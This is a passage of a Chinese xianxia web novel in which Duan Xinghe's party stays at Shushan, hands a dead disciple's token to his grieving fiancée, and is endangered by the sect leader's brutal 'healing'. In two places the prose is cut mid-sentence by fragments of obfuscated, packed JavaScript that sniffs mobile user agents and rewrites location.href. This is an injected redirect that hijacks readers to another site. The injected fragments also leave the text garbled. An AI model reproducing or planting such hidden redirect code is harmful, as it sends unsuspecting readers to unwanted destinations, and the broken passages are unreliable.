段星河想起了魏小雨的话,蜀山阴气缭绕,有种难以形容的感觉。把情况摸透之前,还是不要太信任所有的人。他隐去了四灵神的一段,只说:“我们合力跟千机门的人打了一架,跟他们打了个平手。我说蜀山的掌教马上要来帮忙,他们掠夺了足够的灵力,又怕掌教真人的威仪,便落荒而逃了。” 刘伯桥笑了,道:“你小子还挺机灵的,知道抬出我师尊吓唬他们。” 段星河道:“是天玺真人法力高强,那些小妖小怪听到蜀山的威名,便不敢作祟了。” 天玺真人神色淡淡的,仿佛觉得还有隐情,道:“还有么?” 段星河道:“没了,吓跑了他们,我们就去了山顶,找到了泉水沐浴。我兄弟们的诅咒都已经解除了,只剩下晚辈一人还带着虺神的诅咒未消。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177153|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >别人的病都治好了,他却还跟从前一样,心情有些沉重。步云邪道:“先前掌教说要指点我师兄修炼,抵御诅咒侵蚀。如今我们已经解决了外患,还请真人赐教。” 天玺真人微微一笑,道:“不着急,你们劳顿了这么久,先去休息吧。” 众人确实也累得很了,便答应了。刘伯桥扬声道:“毅君。” 一名女弟子从大殿外走进来,她穿着高阶弟子的服饰,白色衣袍外穿着一件浅青色外衫,腰间系着一条金色的丝绦,头上戴着冠。她约莫二十来岁的模样,容貌清秀,进殿行礼道:“师祖,父亲,有何吩咐。” 众人有些意外,原来刘伯桥是她的父亲,看来她就是年轻一代弟子的头领了,难怪有这般气质。刘伯桥道:“这些是从大幽来的客人,帮着清除了四灵山上的怪物。你去收拾几间上好的客房,让他们歇下。” 刘毅君道:“是。” 众人出了大殿,跟着刘毅君下了主峰,穿过一条山道,来到了东峰。 这边山上有一排排整齐的弟子房和客房。白墙黑瓦,院落外种着些青竹,十分雅致。刘毅君走进待客的小院,给每人安排了一间客房,宽敞舒服。段星河道:“多谢姑娘。” 刘毅君的表情冷淡,道:“不必谢,等会儿我让人给你们送饭来。有事跟院外的弟子们说,他们会去跟我通报的。” 她说罢转身走了。伏顺感叹道:“好个冷美人,她怎么老是一副不高兴的样子啊。” 她的眉头微微皱着,显得忧心忡忡的,带着几分对外客的防备。比起其他人来说,显得有点小家子气了。吴祎道:“诶,可不敢乱说。这是我们大师姐,修为高的很,年纪轻轻的就到元婴境界了。” 众人有些意外,没想到她还挺厉害,在同门中的威望也挺高的。这时候就听一人道:“咦……小兄弟,你们回来了!” 段星河回过头,就见老道冬青子站在走廊尽头。原来他已经到了蜀山,也被安置在这里,跟白云观的其他师兄弟住在一起。刚才听见有人说话,他出来看了一眼,没想到这些年轻人居然平安回来了。 冬青子十分激动,快步上前来,道:“我看看……都好起来了,哎呀,太好了!” 他的眼睛亮晶晶的,发自内心的为他们高兴。他道:“我给你们指了路,心里又后悔的很,就怕你们出事,好几天夜里都睡不着觉。唉,幸亏你们有上天保佑,平安回来了,没事就好、没事就好!” 自从来到天外天,很少有人这么关心过他们。这位长者虽然跟他们只是短暂相遇,待他们就像亲人一样,让人的心中一暖。 相比起来,蜀山长老的态度却有所保留。段星河的目光微动,觉得身份地位不同,蜀山的人冷淡一点也是正常的。旁边步云邪的脸色微沉,似乎也在想同样的事。 一阵晚风吹过,有些凉意,魏小雨打了个喷嚏。冬青子道:“哎呦,冷了吧。快进屋坐下,咱们慢慢聊。” 众人进了屋,白云观其他几个幸存的道士也过来了,先前在半道上遇见段星河的那几个人见了他都又惊又喜,一个小道童睁大了眼道:“啊,是你!” 段星河笑了,道:“是我,你们好啊。” 小道童一副崇拜的表情看着他,道:“听说你们把那铁皮怪物赶走了?” 魏小雨从旁边冒出头来,道:“是啊。” 小道童道:“你是谁?” 魏小雨道:“问别人名字之前要自报家门,你懂不懂礼貌啊。” 小道童只好道:“我叫小蝉,你呢?” 魏小雨一副宣告所有权的姿态,挺起了胸膛道:“我叫魏小雨,这是我大师兄,你跟他说话要先经过我的同意。” 小道童不服气,道:“凭什么,大哥哥刚才跟我问好了。” 那两个小孩儿加起来身高不到八尺,嗓门却大的不得了,屋顶都快被他俩掀翻了。司空玉觉得耳朵疼,从桌上抓了一把糖递过去,道:“好好好,你俩上门口聊去。” 那俩小孩还挺听话,去门廊前坐着,一会儿就玩了起来。 其他人坐在屋里,想听他们讲一讲这几天的经历。段星河把事情大体说了一遍,道:“总之运气不错,顺利解决了。千机门的人应该不会回去了,你们放心就是。” 白云观众人十分激动,高兴的都要哭了。冬青子抹了一把眼泪道:“多谢你们,我们还想等蜀山的人为我们主持公道,没想到这就把四灵山夺回来了,真是英雄出少年啊!” 其他人也纷纷道:“多谢你们,太感谢了!” 段星河喝了口茶,道:“你们接下来什么打算?” 冬青子的辈分最高,其他人都听他的,道:“师叔拿主意。” 冬青子这段时间在这里待着,感觉蜀山对他们不冷不热的,再叨扰下去也不好意思。他道:“既然少侠帮我们把家夺回来了,那我们就回去好了。找几个工匠修修房子,再招点新徒弟,从头过日子。” 其他人也是这个意思,纷纷同意。段星河点了点头,道:“好,以后有机会我去看你们。” 有弟子送了斋饭过来,冬青子等人便站起身来,道:“你们先用饭,我们在前头客房住,有事来喊我。” 段星河道:“好。” 他起身送了那几个道友出去,偶尔做些好事确实让人心情舒畅。他们一直在外头奔波,已经很久没有好好洗个澡,在柔软的床上睡觉了。此时能拥有一间干净整齐的客房,对他们来说就是极大的幸福了。 “欧——哈哈哈哈!” 隔壁传来了魏小雨玩洗澡水的声音,宋胡缨道:“别往外泼水,不准玩胰子,掉地上要滑倒了。诶——” 小对眼嗷地一声叫,显然已经踩到了胰子,嗖地一下子滑了出去,哐地一声撞在了门上。司空玉在旁边笑得前仰后合,好像跟自己没关系似的。宋胡缨道:“还笑,你去看着她洗澡。” 司空玉收敛了一点,坐的像个淑女一样,道:“我不,看孩子太麻烦了。” 宋胡缨道:“那你在这干什么?” 司空玉淡定地摇了摇檀香小扇,道:“看你抓狂啊。” 宋胡缨这一会儿功夫简直要把一年的情绪都波动完了,气得不行,大声道:“结香,结香——” 结香从厨房过来,在围裙上擦了擦手,道:“大小姐,县主,洗澡水还没烧完呢。” 宋胡缨没办法,只好摆了摆手,让她继续忙去了。魏小雨从澡盆里钻出来,穿上了浴袍,道:“我洗完了,瓜皮过来。” 墨墨听话地过去了,自觉地弓起了背,一看就是不止一次被迫害了。魏小雨坐在床边上,抬起了脚丫子。宋胡缨焦头烂额道:“别拿瓜皮擦脚,你大师兄知道了要生气了。” 魏小雨嘻嘻直笑,道:“你不说,瓜皮不说,他不会知道的。” 段星河沉默着用浴巾擦干了身体,心想自己已经听见了。以后得让阿云带瓜皮睡觉,要不然自己亲自带也行,那么好的灵兽扔给别人都养成擦脚布了。 他换了一身干净衣裳,熄了灯躺在床上。终于能放松了,隔壁安静下来,他整个人像是陷在棉花里,不觉间睡着了。 洗完了澡,步云邪换了身黑色的衣袍,还有些睡不着。院子里的灯笼都熄灭了,他推门出来,一阵春风扑面而来,他感到一阵舒畅,想在庭院里待一会儿。 山上到处生着松柏,他站在山边向远处眺望,半山腰有一条瀑布,玉带似的哗哗流淌。步云邪看了片刻,忽然见有人向后山方向走去。那边有些灯光,照得见人的身影。步云邪见那人好像是刘伯桥,手里提着一个食盒。 步云邪觉得有些奇怪,大半夜的他去那么荒凉的地方干什么。他往前走了几步,见刘伯桥去了山顶。过了好一阵子,才见他又出来了,手里的食盒也不见了。 步云邪皱起了眉头,总觉得有点不对劲。这里似乎很平静祥和,却又处处都透着一股怪异,不光魏小雨她们这么说,自己也有所觉察。 他们千里迢迢来到这里,对蜀山的一切充满了虔诚之心,但其实对这里完全不了解。蜀山的长老对他们的态度有些疏远,似乎在隐藏着什么。步云邪越想越觉得疑惑,悄然朝那边走去,打算亲自过去看一看。 101.清净泉 四 周围静悄悄的,步云邪沿着山道来到了后山。山顶十分荒芜,到处都是乱石堆和光秃秃的峭壁。这边有一座石头垒的屋子,门前有几个弟子守卫。步云邪藏在树丛里,悄然看着那边。门前的火光照出了里头黑洞洞的台阶,向下延伸而去。 地下有牢房? 就算蜀山这样的大宗门,也难免出几个叛逆之徒,或者门人弟子捉了妖物也得有个关的地方,有地牢很正常。步云邪细细分辨气场,石牢里弥漫着一股阴沉的气息,但至多是痛苦、愤怒、失望,远不到邪恶的程度。 “呃——啊啊啊啊……” 牢里传来一声沙哑的呼喊,那人好像极力想诉说什么,发出的声音却含糊不清。 守卫的弟子已经习惯了这样的声音,站着无动于衷。步云邪待了一会儿,探不出别的情况,便悄然回去了。 次日一早,段星河从睡梦中醒来,外头鸟雀叽叽喳喳的,已经是辰时了。他好久没睡这么踏实了,伸了个懒腰,感觉神清气爽。他打开了窗户,魏小雨和白云观的小道童在庭院里拿白灰画了几个格子,正在跳房子。 魏小雨单腿蹦完了双腿蹦,跳了一个来回,道:“该你了。” 小蝉没怎么玩过这个,两条腿倒腾不过来,差点打了结。魏小雨哈哈直笑,道:“笨蛋,连这都不会!” 小蝉脸涨得通红,道:“这有什么难的,看着——” 他又跳了一回,这次没有头一回那么笨拙了。小对眼跟在他身后跳来跳去,墨墨蹲在一旁看着,仿佛觉得很有趣。 段星河洗漱完了,招了招手,把瓜皮叫了过来。他仔细检查了一下它背上的毛,也不知道它被那个小魔星当了多久的擦脚布,还好背上的毛没秃,依旧油光水滑的。他把儿子抱起来闻了一下,也没有什么脚丫子的臭味,反而有股被太阳晒过的暖洋洋的气息。 段星河还是有点心疼,对墨墨道:“以后别让她往你身上擦脚了,没点脾气可还行?” 墨墨的黑豆眼亮晶晶的,仿佛觉得哄孩子而已,没什么好计较的。段星河有时候觉得它有种超越年龄的包容心,以前他觉得是儿子的性格过于温顺了,可它打起架来也挺猛的,一点也不怕事,可见平时都是它让着别人。 他盯着瓜皮看了片刻,道:“你多大了?” 墨墨脑袋上冒出一个问号,段星河想它也不会回答自己,于是捏开它的嘴,想看看它长了几颗牙齿。 步云邪从外头过来,手里提着一个食盒。他敲了敲门,道:“醒了吗,来吃饭了。” 段星河看着儿子黑洞洞的大嘴,它长着两排整齐的牙齿,好像已经换过乳牙了。从磨损程度看不出年龄,也不知道貘长这么多牙需要几年。步云邪奇怪道:“你在干什么?” 段星河放开了墨墨,道:“你说它多大了?” 步云邪道:“两岁。” 段星河道:“不止吧,为什么这么确定?” 步云邪把饭菜放在桌上,一边道:“从我认识它到现在一共两年,就算两岁好了。” 他这么想倒是挺省事的,段星河道:“生日呢?” 步云邪随手摸了摸它,道:“就是认识我的那一天嘛。” 段星河笑了,这样也挺好。他从桌上拿了一个黄苹果递给儿子,黄苹果比红苹果的香味更浓,也更酸甜好吃。墨墨开心地眯起了眼,抱着它的宝贝苹果飞出去了,打算找个高一点的地方慢慢吃掉它。 桌上摆着几个白面馒头,一大碗青菜炒豆腐,两碗杂粮粥。蜀山弟子注重修行,平日里经常辟谷,对于饮食并不在意。两个人吃着饭,段星河道:“睡得好么?” 步云邪道:“还行,就是……” 他想起了昨天晚上看到的情形,声音低了下去,道:“昨晚遇见一桩怪事。” 段星河道:“什么?” 步云邪把看到刘伯桥去后山地牢的事说了,道:“你觉得有问题么?” 当时的情形他没看到,不知道有多诡异。段星河道:“蜀山弟子以斩妖除魔为己任,地牢里关几个妖物也不奇怪吧。” 步云邪摇了摇头,道:“我没感觉到有妖气,倒像是人。” 段星河陷入了沉默,觉得大约是蜀山内部的事,他们身为外人也不好过问那么多。这时候吴祎从外头来了,神采奕奕道:“段兄,步兄,吃饭呢。” 段星河客气道:“一起吃点么?” “吃过啦,”吴祎扯了个凳子,在一旁坐下道,“寅时初起的,卯时下的早课。闲来无事,跟你们唠会儿。” 他把段星河当成了朋友,跟他一点都不见外。蜀山中不少弟子对段星河他们感兴趣的,都来问吴祎发生了什么事。吴祎因为跟他们相熟,这几天在弟子中成了大红人,有空就跟他们讲段星河等人是如何战胜了千机门的怪物,夺回四灵山的事迹,几乎成了个说书先生。 大家听的啧啧赞叹,他们来蜀山本来也是为了成为剑仙,快意江湖的。结果几十年如一日打坐练气,一直没能出去斩妖除魔。如今听一听别人的事迹,心里也觉得过瘾。 能结交这样的英雄,吴祎也觉得与有荣焉,没事就往他们这边跑,感觉自己也成了他们中的一份子。 他掏出一把瓜子,道:“蜀山的饭菜有点清淡,你们吃的惯么?” 段星河道:“还好,我们平时吃的也差不多,修行之人不讲究这么多。” 吴祎露出了一个促狭的笑容,小声道:“后山有不少兔子,都肥的很。你们要是实在馋了,可以偷偷打一只吃。烤的时候别被人发现了,去年有个师兄烤玉米的时候走了水,差点把后山的地牢烧了。” 话说到这儿,步云邪的心思微微一动,道:“后山有牢房?” 吴祎嗑着瓜子道:“有啊,本来打算用来关大妖的,但这些年也没遇上什么妖物,就关了几个活人。” 步云邪道:“昨天晚上我听见有人大喊大叫,好像是从山顶传过来的,是牢里的人么?” 夜深人静的时候声音传的格外远,即使在这里也有可能听见。吴祎没起疑,神色反而有些严肃,道:“牢里有个疯子,有时候会大喊大叫的。那边的囚犯很危险,都是走了邪道要堕魔的人。师父慈悲,一直用道法感化他们。咱们这些小辈的修为不够,千万要离那边远一些。” 步云邪没再说什么,心想人家门派内部的事,的确是不管为妙。 吃完了饭,魏小雨已经和小道童去别处玩了,咯咯的笑声从远处传来。初春的阳光透过梧桐树照下来,庭院里有种安宁的气氛。吴祎看着门前用白灰画的格子,觉得十分有趣,道:“当小孩儿多好啊。” 段星河道:“人总有长大的一天嘛,长大了也挺好的,起码很多事能自己做主了。” 吴祎摇头道:“长大了有很多责任要背。唉……我们这种末流小弟子还好,像我们大师姐一天到晚要处理好多事,忙的不得了,我已经很久没见她笑过了。” 段星河想起了刘毅君,她好像总是不开心似的。他道:“偶尔也休息一天嘛,把自己逼这么紧干什么?” 吴祎摇了摇头,道:“忙点好啊,闲下来更难过,遇上她的事谁能高兴的起来啊。” 段星河有点奇怪,道:“怎么了?” 吴祎嗑着瓜子,八卦道:“她有个定了亲的未婚夫,也是我们蜀山的人,本来是前途无量的。但两年前出去游历,就音讯全无了。大师姐卜了好几次卦,都说他已经不在人世了。大师姐跟他感情很深的,好端端的人没了,她能不难过么。” 段星河的心思微微一动,道:“那人叫什么?” 吴祎道:“他道号凌虚子,本名叫……张凌越来着。他从小跟大师姐一起长大,修真的天赋很高,大师伯很喜欢他的。” 段星河想起刚来天外天时,自己被关在采石场,李如芝拿他当药人试药。当时还有一个倒霉蛋跟自己关在一起,那人就叫张凌越。他死前说自己有个未婚妻在蜀山,求段星河把他的腰牌带回蜀山,让她别再等自己了。过了这么久,他几乎要把这事忘了。如今吴祎一说,他才想起来还有这么一件事。 吴祎见他忽然沉默下来,有点奇怪,道:“怎么了段兄?” 段星河回过神来,道:“没事,我有点事想请教你们大师姐,她在什么地方?” 吴祎寻思道:“她这会儿应该在静室打坐,半山腰那边。” 他拍了拍手上的瓜子屑,走到山崖边,指着半山腰的一处道场,一排白墙黑瓦的房子坐落在竹林旁边。他道:“那边灵气充沛,她下了早课总会在那边待一会儿。” 段星河道了一声多谢,送走了吴祎,从行囊里找出了那块残破的腰牌,托在手心里注视了良久。受人之托忠人之事,他千里迢迢来了,总得把这个消息告诉她。 灵修台掩映在竹林中,旁边有个清澈的水潭。段星河走进院中,一名女弟子在外守着,道:“你是……喔,大幽来的客人啊,有事么?” 段星河客气道:“我想见你们大师姐。” 那女弟子有些为难,道:“大师姐正在打坐,不好打扰,你能等一会儿么?” 段星河道:“要等多久?” 那女弟子道:“起码还要半个时辰吧。” 这时候屋门吱呀一声响了,刘毅君听见了声音,从屋里出来道:“什么事?” 她穿着一身白衣裳,神色依旧淡漠。段星河心中一轻,道:“刘姑娘,在下有一物要交于你。” 刘毅君道:“什么东西?” 段星河没回答,示意不方便说。刘毅君想了一下,道:“请进来喝杯茶吧。” 段星河随她去了花厅,两人隔着一张八仙桌相对而坐,一名女弟子端茶过来,屋里飘着淡淡的香气。刘毅君道:“阁下有什么要交给我?” 段星河掏出了一块残破的腰牌,上面还有张凌越的名字。看到它的一瞬间,刘毅君的眼睛顿时睁大了。她道:“啊……他的东西怎么在你这里?” 她还是头一次在人前如此动容,显得十分急切。段星河道:“姑娘认得此物?” 刘毅君道:“这是我师弟的腰牌,你见过他?” 段星河把东西递给了她,道:“我们在大幽相遇,他说他有个未婚妻在蜀山,让我日后有机会把它交给你。” 刘毅君的手微微颤抖,把腰牌接了过去,神情有些恍惚。蜀山弟子的印信不能轻易离身,人在物在。如今只有腰牌回来了,那他人…… 刘毅君颤声道:“他怎么样了?” 段星河沉默了片刻,道:“他不在了。” 虽然早就已经猜到是这样,刘毅君还是悲痛难当,眼泪瞬间淌了下来。毕竟是难兄难弟一场,想起那时的情形,段星河也有些难过。张凌越变异之前还尽力维持着理智,不想伤害任何人。若是没遭遇那一切,他应该早就与刘毅君成婚,过着神仙眷侣一般的日子了。 可造化弄人,那么好的一个人就这么没了,实在让人惋惜。 刘毅君道:“他怎么死的?” 段星河有些难以启齿,毕竟害死他的人是钦天监的司正,自己如今也是钦天监的人,怕是会被她当成同伙。他犹豫了一下,还是无法欺骗她,道:“大幽皇帝痴迷于求仙,让人炼了不少丹药。他刚到大幽都城就被人抓住了,关在采石场里,被强行喂了一些丹药试毒,就这么……就这么去世了。当时我跟他关在一个牢房里,他就把腰牌托付给我了。” 刘毅君的身体微微一震,仿佛感到了那种绝望。她道:“他走的痛苦么?” 段星河想起凌虚子的脑袋裂开,从中长出一个巨婴脑袋的血腥情形,实在不忍心告诉她。他道:“他走的很安详,丹药效力很猛,他吐了几口血就没了。” 刘毅君握紧了腰牌的残片,如果不是他送遗物回来,自己还要一直这样煎熬下去。她哑声道:“谢谢你。” 段星河摇了摇头,道:“没什么。他说他不能陪你了,让你别太难过,好好顾惜自己。” 刘毅君忍不住又落下泪来,段星河觉得他们两个着实可怜,叹了口气道:“刘姑娘,你想开一点,凌虚子一定也希望你好好的。” 刘毅君沉默着没说话,泪水一个劲儿地往下淌。东西已经送到了,她此时应该希望一个人待一会儿。段星河起身道:“我还有事,先告辞了。” 刘毅君抹去了泪水,站起来道:“抱歉,让你看到这么失态的样子。” 段星河摇了摇头,道:“无妨,姑娘是重情重义之人,在下理解。” 他说着举步要走,刘毅君迟疑了一下,开口道:“段公子,你们都是好人,我不忍心见你们受到伤害。但有些事我也……不方便说太多。” 段星河有些奇怪,回头望着她。刘毅君脸上的泪痕未干,带着难掩的悲伤,又藏着几分深沉。她低声道:“在这里千万要小心,不要相信你看到的、听到的任何东西。” 段星河的心一沉,警觉起来道:“刘姑娘,这是何意?” 风轻轻吹过,把院中的玉兰花吹得不住动荡。明明置身于明媚春景之中,段星河心里却生出了一股阴寒之气。 刘毅君正要开口,忽然见一个年轻男子从月洞门外过来。他穿着一身蓝色的衣袍,进屋道:“毅君,去年冬天的炭火钱结算完了没?” 刘毅君道:“算完了,比计划的有些结余,都记在账簿上了。” 那人是刘伯桥的师弟,名叫张青蜉。他看了段星河一眼,道:“你是……大幽来的小子啊,怎么还在这里没走呢?” 他说话这么不客气,让在场的人都怔住了。刘毅君有点尴尬,道:“小师叔,师祖答应了要传段公子修行之法,他们可能还要在这儿待一段时间。” 张青蜉皱起了眉头,一副不耐烦的表情,道:“蜀山的修炼法门岂能随随便便教给外人。钦天监没有一个好东西,留他干什么?” 段星河的脸色也不太好看了,就算他是长辈,也不能这么不把人放在眼里。刘毅君不想让客人难堪,连忙道:“小师叔,咱们去看账本吧。” 她说着走在前面,想把张青蜉带走。小师叔还一副眼里不揉沙子的态度,道:“蜀山没钱养闲人,没事就赶紧走,这不是你该待的地方!” 段星河看着他们走远了,心里很不舒服。自己好不容易来到这里,付出了这么大代价,总不能因为个别人的不欢迎,就这么离开。 他回到住处,安静歇了几日,这天一早听见外头有人说话。白云观的小道士穿戴整齐,站在刚冒新芽的梧桐树下,跟魏小雨道:“师父、师叔祖他们要回四灵山去,我也得走了。” 这几天他们一直在一起玩,两个人差不多大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191983|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很是投缘。刚交了一个朋友就要分开了,魏小雨有点失望,揪着衣角道:“喔……” 小蝉也有点舍不得,道:“我们就在白云观住,有空你可以来找我玩。” 魏小雨点了点头,道:“好。” 小蝉蹲下来看着小对眼,把手指插在它厚厚的毛里揉了揉,一副恋恋不舍的模样。冬青子从外面回来,见了段星河便露出了笑容。他道:“小兄弟,你起来了。我们刚去拜别了天玺真人,就等着跟你辞行呢。” 段星河没想到他这么快就要回去了,道:“你们这就走,身上的伤还没养好吧?” 另一名道士背着包袱从屋里走出来,头上还缠着白布条,脸上也有点擦伤的痕迹。他道:“回去再养吧,不好意思老在别人家叨扰。白云观要花点时间才能修起来呢,幸好天已经暖和了,一边修一边凑合着过吧。” 他说着招了招手,对小道童道:“去拿你包袱。” 小蝉跑回了屋里,背着一个红色的小包袱走了出来。几个道士背着剑,朝他们抱拳行礼道:“我们走了,有空来白云观做客,咱们永远是好朋友!” 段星河和步云邪向他们回礼作别,目送他们下山去了。 白云观的人消失在远处,两个人都有点怅然若失。魏小雨更是孤零零的,一个人站在白灰格子里,没人跟她一起玩,跳房子也变得没什么意思了。 段星河回到房中,倒了杯茶喝了,好像有点闷闷不乐。步云邪道:“怎么了?” 段星河道:“之前在大幽的采石场,有个跟我被关在一起的人。他吃了李司正炼的丹药,直接分裂出了元婴……” 步云邪想起来了,当时他也远远地望见了,好端端的一个人被撑得四分五裂,腔子里长出了个血糊糊的怪物,会发出婴儿的啼哭,靠本能吞噬一切活物,极其骇人。 凡人要修炼到元婴境界,总得五六十年。特别有天赋和机缘的,如段星河、沈绿腰这样的人,也得修个十几二十年才能达到这等境界。但李如芝想要一蹴而就,最好是吃了立刻分化出元婴,结果催生出了人性中至恶的一面,把本体都吞噬了。他就像个疯子一样,这些年为了炼丹害了不少人,丹修的名声就是被这种人败坏的。 步云邪仿佛信仰被人玷污了,皱眉道:“那怎么能算是元婴,根本就是怪物!” 段星河嗯了一声,道:“被害的那个人叫张凌越,是刘毅君的未婚夫。他临死之前给了我一块腰牌,让我交给刘姑娘,让她别等了。” 步云邪见过那块牌子,道:“你给她了,她说什么?” 段星河道:“她难过得很,捂着脸哭了一阵子。又让我小心这里的人,别相信看到的、听到的一切。” 步云邪有点奇怪,道:“什么意思?” 段星河摇了摇头,觉得这里的人都不太正常。前两天见到的那个小师叔也对自己嫌弃的很,恨不能一脚把他们都踢出去。难怪白云观的人一听说千机门的人被赶走了,就收拾东西回四灵山去了。看来应该也是在这里待得不自在,不想一直看人眼色生活。 步云邪道:“咱们怎么办?” 一切还不明朗,他们对蜀山也有所求,还不能离开。段星河道:“多留个心眼吧,看看再说,小心一点总没错。” 在蜀山住了数日,大家一路积累的疲劳渐渐消除了。不用风餐露宿,能住上有顶的房子就是好。段星河寻思着兄弟们老是跟着自己居无定所的不行,有机会得在这边买个房子,老的旧的都没关系,只要能安心洗澡睡觉就行了。 他寻思着,忽听外头有人道:“掌教真人,您怎么来了?” 段星河抬头向外望去,就见伏顺从庭院经过,遇到了天玺真人。老仙师带着两个弟子一同前来,他穿着一身葛黄色的常服,神色淡淡道:“段小公子在么?” 伏顺还没回答,段星河已然应声道:“在,前辈找我何事?” 他快步出门迎接,其他人都没露头。步云邪不知道带着魏小雨去哪儿闲逛了,司空玉她们在午睡。天玺真人微微一笑,道:“我来看看你,最近休息的好么?” 段星河道:“托前辈的福,我们休息的很好。” 他们一起进了屋,那两个弟子在外头守着。天玺真人在罗汉床上坐下了,他是老前辈,段星河不敢跟他平起平坐,在一旁站着。天玺真人道:“不必拘礼,你也坐吧。” 段星河这才在侧面的一张柳木椅子上坐下了。伏顺泡了茶端过来,站在一旁。天玺真人打发道:“你去歇着吧,让我的弟子在外头守着便是了。” 伏顺喔了一声,寻思着老仙师可能有话要单独跟段星河说,便回了自己屋。天玺真人道:“把手给我,我给你把脉瞧瞧。” 段星河过去坐在他对面,手放在茶桌上。天玺真人探了片刻,沉吟道:“不太好,比上次的脉象还乱,身上有几处淤塞。” 段星河也知道自己的情况,他最近时常感觉煞气涌动。春天肝阳上亢,木多火塞,狂躁更容易发作。他道:“晚辈平日尽力控制情绪,但还是有失控的时候,不知该如何是好。” 天玺真人道:“这样吧,我先帮你把身上的淤塞打通。等把身体调理好了,咱们再说修炼的事。” 他考虑的这么周全,就像救治自己的亲传弟子一般。段星河很感激,道:“多谢前辈。” 段星河在罗汉床上盘膝而坐,天玺真人的手掌抵住他背心,将一道强大的灵力传过来。段星河感到那股力量游走在自己的经脉中,找到了淤塞之处,一点点地将其冲开。淤血没了,气血走的就通畅了,心烦气躁的感觉也就少了。 他一路上积累了不少伤痛,给身体造成了不小的负担。打通了两处淤塞,段星河忽然感觉心脉处一阵剧痛,却是灵力走到了此处。 段星河自己行气的时候便知道此处有阻滞,顾虑着心脉是性命攸关的要地,不敢用蛮力去冲。天玺真人却毫不留情,灵力陡然增强,如同决堤的洪水滚滚而来,简直要把他的心脉冲垮。 段星河的心脏就像被重锤一下又一下地击打,痛的脸色发白,可在行功之时又说不出话来。他头上冒出了大量的冷汗,拼命想要挣脱,那股灵力却把他紧紧地吸住了。 怎么回事? 他好像根本不在乎自己的死活,若是自己就这么死了,他也不会有半分动容。 段星河骤然想起了刘毅君的话——别相信你看到的一切,也别相信你听到的一切。 他现在才意识到,此处的危险是真实存在的。刘毅君身为弟子,没办法直接说出来,只能旁敲侧击。可他此时明白过来已经晚了,他的心脏疼的几乎要裂开,体内的煞气趁机冲出来,到处肆虐。 他的意识开始模糊,不知道自己是不是就要这样死了。 好不容易来到这里,他不甘心,却是叫天天不应叫地地不灵。这时候忽然听见有人道:“咦,你们在这儿做什么?” 段星河的心猛的一跳,是步云邪的声音。门外的弟子道:“掌教真人在为段公子疗伤,还请几位保持安静,莫要打扰。” 阿云若是走了,自己就真没救了。段星河心中竭力道:“别走,别听他们的!” 他几乎就要这么喊出来,却发不出一点声音。体内的灵力越发汹涌,压制住了他全部的心声,让他只能眼看着自己一点点被痛苦吞噬。 102.清净泉 五 几个人拦在屋外,态度有些慌张。步云邪莫名有种不安的感觉,往前走了一步。那弟子道:“公子,不可进去。” 步云邪透过半开的窗户,看到了段星河的情况。他微微低着头,汗水不住往下淌,表情好像十分痛苦。他皱起了眉头,扬声道:“我师兄昨天夜里刚着了风寒,经不起折腾,请老仙师改日再给他疗伤吧。” 不光步云邪回来了,李玉真也跟在他身后,隔壁的宋胡缨午睡醒了,也揉着眼走了出来,道:“怎么了?” 周围吵吵嚷嚷的,天玺真人收了功,站了起来。段星河一口血喷了出来,向前倒了过去。众人都大吃一惊,一股脑地涌了进来,纷纷道:“大师兄,段兄,你怎么了!” 步云邪把段星河扶了起来,伸手探他脉搏,感觉他虽然看起来糟糕,脉象却比之前好了一些。杂乱的脉象变得平缓多了,体内的阻滞也少了许多,只是陡然受到这么强烈的冲击,身体有些虚弱。 步云邪一时间也有点混乱,不知道他是真的帮段星河,还是有意要害他。段星河睁开了眼,还有些恍惚。步云邪道:“你怎么样?” 段星河摇了摇头,一时间说不出话来。天玺真人整了整衣袖,道:“他体内的气息太乱,我为他打通了几处淤塞,或许有些疼痛,把淤血吐出来就好了。” 众人半信半疑的,蜀山的掌教德高望重,不至于伤害一个后生小辈。步云邪没说什么,看着段星河沾着血的嘴角,心里藏着防备。李玉真觉得场面有点僵,段星河虽然受了点损伤,但治病也有些剑走偏锋的方法,说不定老仙师是为了他好呢。 他打圆场道:“多谢前辈医治,辛苦了。” 天玺真人神色淡然,道:“不用谢,你们帮我清除了蜀山周围的忧患,这是我该做的。” 他迈步出了房门,道:“让他好生休息,过几天我再来看他。” 天玺真人带着徒弟走了,段星河倒在罗汉床上,整个人都虚脱了。他感觉自己的气机确实比之前通畅了许多,可刚才那种濒死的感觉也并非是虚假的。他不知道是不是自己误会了天玺真人,或许他是真的想救自己。可如果当时步云邪他们没有回来,自己此时还能活着么? 其他人担忧地看着他,段星河昏昏沉沉的,不知不觉就睡着了。步云邪坐在床边,道:“我看着他,你们回去休息吧。” 其他人都走了,步云邪的脸色一直不太好看,仿佛在为刚才的事后怕,不敢想如果自己回来再晚一点会怎么样。李玉真站在一旁,拢着袖子似乎有话要说。步云邪道:“怎么?” 李玉真往外看了一眼,庭院里静悄悄的。他低声道:“步兄,我知道你心里有疑虑,大家都是差不多的想法。但咱们在这地头上,不好直接跟他们翻脸。若是实在不放心,等段兄养一养身体,咱们就离开这里吧。” 现在再去探究对方这么做是出于善意还是恶意已经没有意义了。疑念一但生出来,就很难打消。他们虽然远道而来,但跟此处没有缘分,也没办法强求。 步云邪明白他的意思,寻思了片刻,道:“那就去四灵山吧,离这边不算太远,白云观的道士人也不错。” 李玉真点了点头,道:“好,就这么办吧。” 